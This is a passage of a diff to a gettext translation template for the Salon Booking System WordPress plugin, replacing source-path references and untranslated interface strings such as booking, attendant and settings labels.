build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:96\n-msgid \"Take Photo\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:12\n+msgid \"Advanced rules\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:97, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:97, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:97, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:97, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:97, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:97\n-msgid \"Select from phone\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:331\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:331\n+msgid \"Affected Bookings\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:99, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:99, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:99\n-msgid \"Photo\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:187\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:187\n+msgid \"After 5 attempts, the IP is temporarily blocked for 5 minutes\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:100, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:100, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:100\n-msgid \"Update customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:405\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:405\n+msgid \"After the last appointment\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:102, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:102, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:102, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:102, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:102, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:102\n-msgid \"Assistant is busy\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:461\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:461\n+msgid \"\"\n+\"After the summing up step, skip the countdown to go to the \\\"Thank You\\\" \"\n+\"page.\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:103, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:103, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:103, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:103, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:103, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:103\n-msgid \"is busy from %s to %s. Please select another time or assistant.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:144\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:144\n+msgid \"Afternoon Shift\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:104, views\u002Fadmin\u002Fcalendar.php:528, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:104, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:528, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:104, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:528, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:528, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:528, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:528\n-msgid \"Assistants view\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:13\n+msgid \"Ajax steps\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:105, views\u002Fadmin\u002Fcalendar.php:196, src\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:220, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:105, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:196, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:105, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:196, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:196, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:220\n-msgid \"Edit\"\n+#. phpcs:ignore WordPress.Security.EscapeOutput.UnsafePrintingFunction\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:140\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:140\n+msgid \"Ajax steps \u003Cspan>This allows loading steps via ajax\u003C\u002Fspan>\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:106, src\u002FSLN\u002FForm.php:295, views\u002Fadmin\u002Fcalendar.php:694, views\u002Fmetabox\u002Fbooking.php:1036, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:106, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FForm.php:295, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:694, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:1036, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:106, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FForm.php:295, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:694, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1036, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FForm.php:295, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:694, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:919, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FForm.php:295, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:694, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:1035, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FForm.php:295, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:694, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:1036\n-msgid \"Delete\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:16\n+msgid \"\"\n+\"Align available time slots with service duration to prevent booking conflicts\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:107, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:107, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:107\n-msgid \"Call customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fstripe\u002Fsettings.php:16\n+msgid \"ALL\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:108, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:108, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:108\n-msgid \"Whatsapp customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:573\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:573\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:166\n+msgid \"All\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:109, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:109, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:109\n-msgid \"Open customer profile\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:1046\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:1046\n+msgid \"All attendants\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the username\n-#: src\u002FSLB_PWA\u002FPlugin.php:149, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:149, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:146, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:149\n-msgid \"Dear \u003Cb>%s\u003C\u002Fb>,\u003Cbr\u002F> to use our mobile app you need a PRO version of \u003Cb>Salon Booking System\u003C\u002Fb>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTimeFunc.php:442\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:113\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:442\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:113\n+msgid \"All day\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FPlugin.php:150, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:150, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:147, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:150\n-msgid \"Switch to PRO\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItem.php:152\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItem.php:152\n+msgid \"All days\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FCheckoutField.php:64, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FCheckoutField.php:64, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FCheckoutField.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FCheckoutField.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FCheckoutField.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FCheckoutField.php:64\n-msgid \"(not editable)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:517\n+msgid \"All license data refreshed successfully!\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FForm.php:285, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FForm.php:285, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FForm.php:285, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FForm.php:285, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FForm.php:285, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FForm.php:285\n-msgid \"Drag and drop files here\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:43\n+msgid \"All Service Categories\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FForm.php:286, views\u002Fadmin\u002Fcalendar.php:769, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FForm.php:286, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:769, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FForm.php:286, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:769, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FForm.php:286, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:769, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FForm.php:286, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:769, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FForm.php:286, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:769\n-msgid \"or\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:1038\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:1038\n+msgid \"All services\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FForm.php:287, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FForm.php:287, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FForm.php:287, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FForm.php:287, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FForm.php:287, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FForm.php:287\n-msgid \"Browse files\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:76\n+msgid \"All Shops\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FForm.php:290, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FForm.php:290, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FForm.php:290, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FForm.php:290, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FForm.php:290, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FForm.php:290\n-msgid \"Add a file\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:1021\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:1021\n+msgid \"All Statuses\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FFormatter.php:23, src\u002FSLN\u002FHelper\u002FAvailability\u002FAdminRuleLog.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FFormatter.php:23, 